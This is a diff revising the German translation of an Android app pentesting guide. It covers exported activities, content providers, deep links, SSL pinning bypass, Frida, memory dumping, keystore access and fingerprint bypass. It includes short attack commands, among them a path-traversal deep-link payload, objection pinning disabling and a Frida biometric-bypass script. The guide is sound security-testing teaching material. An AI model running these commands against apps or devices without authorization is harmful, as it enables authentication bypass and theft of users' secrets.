+Wenn eine Anwendung **crasht** und **Logs speichert**, können diese Logs Angreifern helfen, insbesondere wenn die Anwendung nicht reverse-engineered werden kann. Um dieses Risiko zu minimieren, vermeide Logging bei Crashes, und falls Logs über das Netzwerk gesendet werden müssen, stelle sicher, dass sie über einen SSL-Kanal übertragen werden.
 
-Als pentester, **versuche dir diese Logs anzusehen**.
+Als pentester, **versuche, dir diese Logs anzusehen**.
 
-**Analytics-Daten an Dritte gesendet**
+**Analytics Data Sent To 3rd Parties**
 
-Anwendungen integrieren oft Dienste wie Google Adsense, die unbeabsichtigt sensible Daten leak durch fehlerhafte Implementierung durch Entwickler auslösen können. Um potenzielle Daten leaks zu identifizieren, ist es ratsam, den Traffic der Anwendung abzufangen und zu prüfen, ob sensible Informationen an Drittanbieter gesendet werden.
+Anwendungen integrieren oft Dienste wie Google Adsense, die unbeabsichtigt **sensitive data leak** können, wenn Entwickler sie falsch implementieren. Um mögliche Datenleaks zu identifizieren, ist es ratsam, den Traffic der Anwendung zu intercepten und zu überprüfen, ob sensible Informationen an Drittanbieter gesendet werden.
 
 ### SQLite DBs
 
-Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests solltest du einen **Blick** auf die erstellten **Datenbanken**, die Namen der **Tabellen** und **Spalten** und alle gespeicherten **Daten** werfen, da du sensible Informationen finden könntest (was eine Vulnerability wäre).\
+Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Untersuche während des pentests die **erstellten Datenbanken**, die Namen der **Tables** und **Columns** sowie alle gespeicherten **Daten**, da du dort **sensitive information** finden könntest (was eine Schwachstelle wäre).\
 Datenbanken sollten sich in `/data/data/the.package.name/databases` befinden, z. B. `/data/data/com.mwr.example.sieve/databases`
 
-Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt ist**, du aber das **Passwort** in der Anwendung **finden** kannst, ist das immer noch eine **Vulnerability**.
+Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, du aber das **Passwort** innerhalb der Anwendung **findest**, ist das dennoch eine **Schwachstelle**.
 
-Zähle die Tabellen mit `.tables` auf und liste die Spalten der Tabellen mit `.schema <table_name>` auf
+Zähle die Tabellen mit `.tables` auf und die Spalten der Tabellen mit `.schema <table_name>`
 
 ### Drozer (Exploit Activities, Content Providers and Services)
 
 From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
 Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
 
-### Exploiting exported Activities
+### Ausnutzen exportierter Activities
 
 [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
-Also remember that the code of an activity starts in the **`onCreate`** method.
+Denke auch daran, dass der Code einer Activity in der **`onCreate`**-Methode beginnt.
 
 **Authorisation bypass**
 
-When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
+Wenn eine Activity exported ist, kannst du ihren Screen von einer externen App aus aufrufen. Daher, wenn eine Activity mit **sensiblen Informationen** **exported** ist, könntest du die **authentication**-Mechanismen **bypassen**, um darauf zuzugreifen.
 
 [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
 
-You can also start an exported activity from adb:
+Du kannst auch eine exportierte Activity von adb starten:
 
 - PackageName is com.example.demo
 - Exported ActivityName is com.example.test.MainActivity
 ```bash
 adb shell am start -n com.example.demo/com.example.test.MainActivity
 ```
-**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
+**HINWEIS**: MobSF wird die Verwendung von _**singleTask/singleInstance**_ als `android:launchMode` in einer Activity als bösartig erkennen, aber aufgrund von [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) scheint dies offenbar nur auf alten Versionen (API-Versionen < 21) gefährlich zu sein.
 
 > [!TIP]
-> Beachte, dass ein authorisation bypass nicht immer eine vulnerability ist; es hängt davon ab, wie der Bypass funktioniert und welche Informationen exponiert werden.
+> Beachte, dass ein authorisation bypass nicht immer eine vulnerability ist; das hängt davon ab, wie der bypass funktioniert und welche Informationen offengelegt werden.
 
-**Sensitive information leakage**
+**Offenlegung sensibler Informationen**
 
-**Activities can also return results**. Wenn es dir gelingt, eine exportierte und ungeschützte Activity zu finden, die die Methode **`setResult`** aufruft und **vertrauliche Informationen zurückgibt**, liegt eine sensitive information leakage vor.
+**Activities können auch Ergebnisse zurückgeben**. Wenn es dir gelingt, eine exportierte und ungeschützte Activity zu finden, die die Methode **`setResult`** aufruft und **sensible Informationen zurückgibt**, liegt eine Offenlegung sensibler Informationen vor.
 
 #### Tapjacking
 
-Wenn Tapjacking nicht verhindert wird, könntest du die exportierte Activity missbrauchen, um den **user unerwartete Aktionen ausführen zu lassen**. Für mehr Infos darüber, [**was Tapjacking ist, folge dem Link**](#tapjacking).
+Wenn Tapjacking nicht verhindert wird, könntest du die exportierte Activity missbrauchen, um den Benutzer dazu zu bringen, unerwartete Aktionen auszuführen.\
+[**Was Tapjacking ist, folge dem Link**](#tapjacking)
 
-### Exploiting Content Providers - Accessing and manipulating sensitive information
+### Exploiting Content Providers - Zugriff auf und Manipulation sensibler Informationen
 
-[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
-Content providers werden grundsätzlich verwendet, um **Daten zu teilen**. Wenn eine App Content providers bereitstellt, könntest du in der Lage sein, **sensible Daten** aus ihnen zu extrahieren. Es ist auch interessant, mögliche **SQL injections** und **Path Traversals** zu testen, da diese verwundbar sein könnten.
+[**Lies dies, wenn du auffrischen möchtest, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\
+Content providers werden grundsätzlich verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content providers hat, könntest du möglicherweise **sensible Daten extrahieren**. Es ist auch sinnvoll, mögliche **SQL injections** und **Path Traversals** zu testen, da diese verwundbar sein könnten.
 
-[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
+[**Lerne, wie man Content Providers mit Drozer ausnutzt.**](drozer-tutorial/index.html#content-providers)
 
 ### **Exploiting Services**
 
-[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
-Denke daran, dass die Aktionen eines Service in der Methode `onStartCommand` beginnen.
+[**Lies dies, wenn du auffrischen möchtest, was ein Service ist.**](android-applications-basics.md#services)\
+Beachte, dass die Aktionen eines Service in der Methode `onStartCommand` beginnen.
 
-Ein Service ist im Grunde etwas, das **Daten empfangen**, **verarbeiten** und (möglicherweise) eine Antwort **zurückgeben** kann. Wenn eine Anwendung also Services exportiert, solltest du den **Code** prüfen, um zu verstehen, was er macht, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen...
-
-[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
+Ein Service ist im Grunde etwas, das **Daten empfangen**, **verarbeiten** und (oder nicht) eine Antwort **zurückgeben** kann. Wenn eine Anwendung also Services exportiert, solltest du den **Code** prüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren und Authentifizierungsmaßnahmen zu umgehen...\
+[**Lerne, wie man Services mit Drozer ausnutzt.**](drozer-tutorial/index.html#services)
 
 ### **Exploiting Broadcast Receivers**
 
-[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
-Denke daran, dass die Aktionen eines Broadcast Receiver in der Methode `onReceive` beginnen.
+[**Lies dies, wenn du auffrischen möchtest, was ein Broadcast Receiver ist.**](android-applications-basics.md#broadcast-receivers)\
+Beachte, dass die Aktionen eines Broadcast Receiver in der Methode `onReceive` beginnen.
 
-Ein Broadcast Receiver wartet auf einen Nachrichtentyp. Je nachdem, wie der Receiver die Nachricht verarbeitet, kann er verwundbar sein.\
-[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
+Ein Broadcast Receiver wartet auf eine Art von Nachricht. Je nachdem, wie der Receiver die Nachricht verarbeitet, kann er verwundbar sein.\
+[**Lerne, wie man Broadcast Receivers mit Drozer ausnutzt.**](#exploiting-broadcast-receivers)
 
 ### **Exploiting Schemes / Deep links**
 
-Du kannst manuell nach deep links suchen, z. B. mit Tools wie MobSF oder Skripten wie [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
-Du kannst ein deklariertes **scheme** mit **adb** oder einem **browser** öffnen:
+Du kannst Deep links manuell suchen, mit Tools wie MobSF oder Skripten wie [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
+Du kannst ein deklariertes **scheme** mit **adb** oder einem **Browser** öffnen:
 ```bash
 adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
 ```
-_Beachte, dass du den Paketnamen **weglassen kannst** und das Mobilgerät automatisch die App aufruft, die den Link öffnen soll._
+_Beachte, dass du den **Paketnamen weglassen** kannst und das Mobilgerät automatisch die App aufruft, die diesen Link öffnen sollte._
 ```html
 <!-- Browser regular link -->
 <a href="scheme://hostname/path?param=value">Click me</a>
 <!-- fallback in your url you could try the intent url -->
 <a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
 ```
-**Auszuführender Code**
+**Code executed**
 
-Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Activity, die durch den deep link aufgerufen wird, und suche die Funktion **`onNewIntent`**.
+Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Activity, die vom deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**.
 
 ![](<../../images/image (436) (1) (1) (1).png>)
 
-**Sensible Informationen**
+**Sensitive info**
 
-Jedes Mal, wenn du einen deep link findest, überprüfe, dass er **nicht sensitive Daten (wie Passwörter) über URL-Parameter empfängt**, denn jede andere Anwendung könnte den deep link **vortäuschen und diese Daten stehlen!**
+Jedes Mal, wenn du einen deep link findest, überprüfe, dass **er keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt**, denn jede andere Anwendung könnte **den deep link nachahmen und diese Daten stehlen!**
 
-**Parameter im Pfad**
+**Parameters in path**
 
-Du **musst auch prüfen, ob ein deep link einen Parameter im Pfad** der URL verwendet, z. B.: `https://api.example.com/v1/users/{username}` , in diesem Fall kannst du eine path traversal erzwingen, indem du auf etwas wie zugreifst: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
-Beachte, dass du, wenn du die korrekten Endpunkte in der Anwendung findest, möglicherweise einen **Open Redirect** (wenn ein Teil des Pfads als Domainname verwendet wird), eine **account takeover** (wenn du Benutzerdetails ohne CSRF-Token ändern kannst und der vuln Endpoint die richtige Methode verwendet) und andere vuln verursachen kannst. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/).
+Du **musst auch prüfen, ob ein deep link einen Parameter innerhalb des Pfads** der URL verwendet, z. B.: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du einen Path Traversal erzwingen, indem du so etwas aufrufst: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
+Beachte, dass, wenn du die korrekten Endpoints in der Anwendung findest, du möglicherweise einen **Open Redirect** auslösen kannst (wenn ein Teil des Pfads als Domainname verwendet wird), eine **account takeover** (wenn du Benutzerdaten ohne CSRF-Token ändern kannst und der verwundbare Endpoint die richtige Methode verwendet) und jede andere Vulnerability. Mehr [info about this here](http://dphoeniixx.com/2020/12/13-2/).
 
-**Weitere Beispiele**
+**More examples**
 
 Ein [interessanter bug bounty report](https://hackerone.com/reports/855618) über Links (_/.well-known/assetlinks.json_).
 
-### Transport Layer-Inspektion und Verifizierungsfehler
+### Transport Layer Inspection and Verification Failures
 
-- **Certificates are not always inspected properly** von Android-Anwendungen. Es ist üblich, dass diese Anwendungen Warnungen übersehen und selbstsignierte Zertifikate akzeptieren oder in manchen Fällen auf HTTP-Verbindungen zurückfallen.
-- **Negotiations during the SSL/TLS handshake are sometimes weak**, es werden unsichere Cipher Suites verwendet. Diese Schwachstelle macht die Verbindung anfällig für man-in-the-middle (MITM)-Angriffe und ermöglicht es Angreifern, die Daten zu entschlüsseln.
-- **Leakage of private information** ist ein Risiko, wenn Anwendungen sich über sichere Kanäle authentifizieren, aber anschließend für andere Transaktionen über nicht sichere Kanäle kommunizieren. Dieser Ansatz schützt sensitive Daten wie Session-Cookies oder Benutzerdetails nicht vor dem Abfangen durch bösartige Akteure.
+- **Certificates are not always inspected properly** von Android-Anwendungen. Es ist üblich, dass diese Anwendungen Warnungen übersehen und self-signed certificates akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückfallen.
+- **Negotiations during the SSL/TLS handshake are sometimes weak**, es werden unsichere Cipher Suites verwendet. Diese Schwäche macht die Verbindung anfällig für man-in-the-middle (MITM) Angriffe, wodurch Angreifer die Daten entschlüsseln können.
+- Leakage of private information ist ein Risiko, wenn Anwendungen sich über sichere Kanäle authentifizieren, dann aber für andere Transaktionen über nicht-sichere Kanäle kommunizieren. Dieser Ansatz schützt sensitive Daten wie Session-Cookies oder Nutzerdaten nicht vor Abfangen durch böswillige Akteure.
 
-#### Zertifikatsprüfung
+#### Certificate Verification
 
-Wir konzentrieren uns auf **certificate verification**. Die Integrität des Serverzertifikats muss verifiziert werden, um die Sicherheit zu erhöhen. Das ist entscheidend, da unsichere TLS-Konfigurationen und die Übertragung sensibler Daten über unverschlüsselte Kanäle erhebliche Risiken darstellen können. Für detaillierte Schritte zur Verifikation von Serverzertifikaten und zur Behebung von Schwachstellen bietet [**diese Ressource**](https://manifestsecurity.com/android-application-security-part-10/) umfassende Anleitung.
+Wir konzentrieren uns auf die **Certificate Verification**. Die Integrität des Server-Zertifikats muss überprüft werden, um die Sicherheit zu erhöhen. Das ist entscheidend, denn unsichere TLS-Konfigurationen und die Übertragung sensibler Daten über unverschlüsselte Kanäle können erhebliche Risiken darstellen. Für detaillierte Schritte zur Überprüfung von Server-Zertifikaten und zur Behebung von Schwachstellen bietet [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) umfassende Anleitung.
 
 #### SSL Pinning
 
-SSL Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzertifikat gegen eine bekannte Kopie prüft, die innerhalb der Anwendung selbst gespeichert ist. Diese Methode ist essentiell, um MITM-Angriffe zu verhindern. Die Implementierung von SSL Pinning wird dringend für Anwendungen empfohlen, die sensitive Informationen verarbeiten.
+SSL Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Server-Zertifikat gegen eine bekannte Kopie prüft, die innerhalb der Anwendung gespeichert ist. Diese Methode ist essentiell, um MITM-Angriffe zu verhindern. Die Implementierung von SSL Pinning wird dringend empfohlen für Anwendungen, die mit sensiblen Informationen arbeiten.
 
-#### Traffic-Inspektion
+#### Traffic Inspection
 
-Um HTTP-Traffic zu inspizieren, ist es notwendig, **das Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist verschlüsselter Traffic möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
+Um HTTP-Traffic zu inspizieren, ist es notwendig, **das Zertifikat des Proxy-Tools** (z. B. Burp) zu installieren. Ohne die Installation dieses Zertifikats ist verschlüsselter Traffic möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 
-Anwendungen, die **API Level 24 and above** anvisieren, erfordern Änderungen an der Network Security Config, damit das CA-Zertifikat des Proxys akzeptiert wird. Dieser Schritt ist entscheidend, um verschlüsselten Traffic zu inspizieren. Für Anweisungen zur Änderung der Network Security Config, [**siehe dieses Tutorial**](make-apk-accept-ca-certificate.md).
+Anwendungen, die auf **API Level 24 und höher** abzielen, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend, um verschlüsselten Traffic zu inspizieren. Anweisungen zur Änderung der Network Security Config findest du in diesem Tutorial: [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
 
-Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**](flutter.md) befolgen. Das liegt daran, dass das einfache Hinzufügen des Zertifikats in den Store nicht ausreicht, da Flutter seine eigene Liste gültiger CAs hat.
+Wenn **Flutter** verwendet wird, musst du den Anweisungen auf [**this page**](flutter.md) folgen. Das liegt daran, dass das bloße Hinzufügen des Zertifikats zum Store nicht ausreicht, da Flutter seine eigene Liste gültiger CAs hat.
 
-#### Statische Erkennung von SSL/TLS Pinning
+#### Static detection of SSL/TLS pinning
 
-Bevor du Runtime-Bypasses versuchst, solltest du schnell kartieren, wo Pinning im APK durchgesetzt wird. Statische Erkennung hilft dir, Hooks/Patches zu planen und dich auf die richtigen Codepfade zu konzentrieren.
+Bevor du Runtime-Bypässe versuchst, mappe schnell, wo Pinning im APK erzwungen wird. Statische Erkennung hilft dir, Hooks/Patches zu planen und dich auf die richtigen Codepfade zu konzentrieren.
 
 Tool: SSLPinDetect
-- Open-source static-analysis utility, das das APK zu Smali (via apktool) dekompiliert und nach kuratierten Regex-Mustern für SSL/TLS-Pinning-Implementierungen scannt.
-- Gibt für jeden Treffer den exakten Dateipfad, die Zeilennummer und einen Codeausschnitt aus.
-- Deckt gängige Frameworks und benutzerdefinierte Codepfade ab: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
+- Open-source static-analysis utility, die das APK nach Smali dekompiliert (via apktool) und nach kuratierten Regex-Patterns für SSL/TLS pinning Implementierungen scannt.
+- Meldet exakten Dateipfad, Zeilennummer und einen Codeausschnitt für jeden Treffer.
+- Deckt gängige Frameworks und Custom-Code-Pfade ab: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init mit custom TrustManagers/KeyManagers und Network Security Config XML pins.
 
 Install
-- Voraussetzungen: Python >= 3.8, Java on PATH, apktool
+- Prereqs: Python >= 3.8, Java on PATH, apktool
 ```bash
 git clone https://github.com/aancw/SSLPinDetect
 cd SSLPinDetect
@@ -465,8 +465,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
 # Verbose (timings + per-match path:line + snippet)
 python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
 ```
-Beispiel-Musterregeln (JSON)
-Verwenden oder erweitern Sie signatures, um proprietäre/benutzerdefinierte pinning-Stile zu erkennen. Sie können Ihr eigenes JSON laden und in großem Maßstab scannen.
+Beispiel-Pattern-Regeln (JSON)
+Verwende oder erweitere signatures, um proprietäre/custom pinning styles zu erkennen. Du kannst dein eigenes JSON laden und in großem Umfang scannen.
 ```json
 {
 "OkHttp Certificate Pinning": [
@@ -481,44 +481,44 @@ Verwenden oder erweitern Sie signatures, um proprietäre/benutzerdefinierte pinn
 }
 ```
 Notes and tips
-- Schnellscans bei großen Apps mittels Multithreading und speichergemapter I/O; vorkompilierte Regex reduzieren Overhead/Falschmeldungen.
+- Schnelles Scannen großer Apps mittels multi-threading und memory-mapped I/O; vor-kompilierte regex reduziert Overhead/False Positives.
 - Pattern collection: https://github.com/aancw/smali-sslpin-patterns
-- Typische Erkennungsziele zur weiteren Triage:
+- Typische Erkennungsziele für die weitere Triagierung:
 - OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
 - Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
 - Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
 - Declarative pins in res/xml network security config and manifest references
-- Verwende die gefundenen Stellen, um Frida hooks, statische Patches oder Konfigurationsreviews vor dynamischen Tests zu planen.
+- Verwende die gefundenen Stellen, um Frida hooks, statische Patches oder Config-Reviews vor dem dynamischen Testing zu planen.
 
 
 
-#### Bypassing SSL Pinning
+#### SSL Pinning umgehen
 
-When SSL Pinning is implemented, it becomes necessary to inspect HTTPS traffic by bypassing it. Verschiedene Methoden stehen dafür zur Verfügung:
+Wenn SSL Pinning implementiert ist, wird das Umgehen erforderlich, um HTTPS-Traffic zu untersuchen. Für diesen Zweck stehen verschiedene Methoden zur Verfügung:
 
-- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Der größte Vorteil dieser Option ist, dass du kein root benötigst, um SSL Pinning zu bypassen, aber du musst die Anwendung löschen und die neue installieren, und das funktioniert nicht immer.
-- Du könntest **Frida** (discussed below) verwenden, um diesen Schutz zu bypassen. Hier ein Guide zur Nutzung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
-- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
-- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
-- Wenn du immer noch denkst, dass es Traffic gibt, den du nicht aufzeichnest, kannst du versuchen, den Traffic mit iptables an burp weiterzuleiten. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
+- Automatisch die **apk** **modifizieren**, um SSLPinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein root brauchst, um SSL Pinning zu umgehen, aber du musst die Anwendung löschen und die neue installieren, und das funktioniert nicht immer.
+- Du könntest **Frida** (weiter unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier ist eine Anleitung für Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
+- Du kannst auch versuchen, **SSL Pinning automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
+- Du kannst auch versuchen, **SSL Pinning automatisch zu umgehen** mit **MobSF dynamic analysis** (weiter unten erklärt)
+- Falls du glaubst, dass es noch Traffic gibt, den du nicht erfasst, kannst du versuchen, den Traffic mittels iptables an burp weiterzuleiten. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 
-#### Looking for Common Web Vulnerabilities
+#### Suche nach häufigen Web-Schwachstellen
 
-Es ist wichtig, auch nach typischen Web-Schwachstellen innerhalb der Anwendung zu suchen. Detaillierte Informationen zur Identifikation und Behebung dieser Schwachstellen gehen über diese Zusammenfassung hinaus, sind aber an anderer Stelle umfassend dokumentiert.
+Es ist wichtig, auch innerhalb der Anwendung nach häufigen Web-Schwachstellen zu suchen. Detaillierte Informationen zum Identifizieren und Beheben dieser Schwachstellen gehen über den Rahmen dieser Zusammenfassung hinaus, werden aber an anderer Stelle ausführlich behandelt.
 
 ### Frida
 
-[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungs-Toolkit für Entwickler, Reverse-Engineers und Sicherheitsforscher.\
-**Du kannst laufende Anwendungen erreichen und Methoden zur Laufzeit hooken, um Verhalten zu ändern, Werte zu verändern, Werte zu extrahieren, anderen Code auszuführen...**\
+[Frida](https://www.frida.re) ist ein dynamic instrumentation toolkit für Entwickler, Reverse-Engineers und Security-Researcher.\
+**Du kannst auf laufende Anwendungen zugreifen und Methoden zur Laufzeit hooken, um Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
 Wenn du Android-Anwendungen pentest willst, musst du wissen, wie man Frida benutzt.
 
 - Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
-- Einige "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
-- Ojection ist großartig, um die Nutzung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
-- Du findest einige Awesome Frida scripts hier: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
-- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu bypassen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) gezeigt lädst (Tool [linjector](https://github.com/erfur/linjector-rs))
+- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
+- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
+- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+- Versuche Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie hier beschrieben lädst: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (Tool [linjector](https://github.com/erfur/linjector-rs))
 
-#### Anti-instrumentation & SSL pinning bypass workflow
+#### Anti-instrumentation & SSL Pinning Umgehungs-Workflow
 
 {{#ref}}
 android-anti-instrumentation-and-ssl-pinning-bypass.md
@@ -526,9 +526,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
 
 ### **Speicher auslesen - Fridump**
 
-Überprüfe, ob die Anwendung sensible Informationen im Speicher ablegt, die sie nicht ablegen sollte, wie Passwörter oder Mnemonics.
+Prüfe, ob die Anwendung sensible Informationen im Speicher ablegt, die dort nicht sein sollten, z. B. Passwörter oder mnemonics.
 
-Mit [**Fridump3**](https://github.com/rootbsd/fridump3) kannst du den Speicher der App mit:
+Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
 ```bash
 # With PID
 python3 fridump3.py -u <PID>
@@ -537,63 +537,63 @@ python3 fridump3.py -u <PID>
 frida-ps -Uai
 python3 fridump3.py -u "<Name>"
 ```
-Das wird den Speicher im Ordner ./dump dumpen, und dort könntest du mit etwas wie grep suchen:
+Das wird den Speicher im Ordner ./dump ablegen, und dort könntest du mit etwas wie grep suchen:
 ```bash
 strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
 ```
-### **Sensible Daten im Keystore**
+### **Sensible Daten in Keystore**
 
-In Android ist der Keystore der beste Ort, um sensible Daten zu speichern, jedoch ist es bei ausreichenden Privilegien immer noch **möglich, darauf zuzugreifen**. Da Anwendungen hier dazu neigen, **sensible Daten im Klartext** zu speichern, sollten pentests dies prüfen, da ein root user oder jemand mit physischem Zugriff auf das Gerät diese Daten stehlen könnte.
+In Android ist der Keystore der beste Ort, um sensible Daten zu speichern; mit ausreichenden Privilegien ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen hier dazu neigen, **sensible Daten in clear text** zu speichern, sollten pentests dies überprüfen, da ein Root-User oder jemand mit physischem Zugriff auf das Gerät diese Daten stehlen könnte.
 
-Selbst wenn eine App Daten im Keystore speichert, sollten diese verschlüsselt sein.
+Selbst wenn eine App Daten im keystore speichert, sollten diese Daten verschlüsselt sein.
 
-Um auf die Daten im Keystore zuzugreifen, kann man dieses Frida script verwenden: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
+Um auf die Daten im keystore zuzugreifen, kann man dieses Frida-Skript verwenden: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
 ```bash
 frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
 ```
 ### **Fingerprint/Biometrics Bypass**
 
-Mit dem folgenden Frida-Skript könnte es möglich sein, die von Android-Anwendungen möglicherweise eingesetzte **bypass fingerprint authentication** zu umgehen, die dazu dient, bestimmte sensible Bereiche zu schützen:
+Mit dem folgenden Frida-Skript kann möglicherweise die **bypass fingerprint authentication** durchgeführt werden, die Android-Anwendungen implementieren, um **bestimmte sensible Bereiche zu schützen:**
 ```bash
 frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
 ```
-### **Background Images**
+### **Hintergrundbilder**
 
-Wenn du eine Anwendung in den Hintergrund verschiebst, speichert Android einen **Snapshot der Anwendung**, sodass beim Wiederherstellen in den Vordergrund zuerst das Bild geladen wird, bevor die App startet, wodurch es so wirkt, als wäre die App schneller geladen.
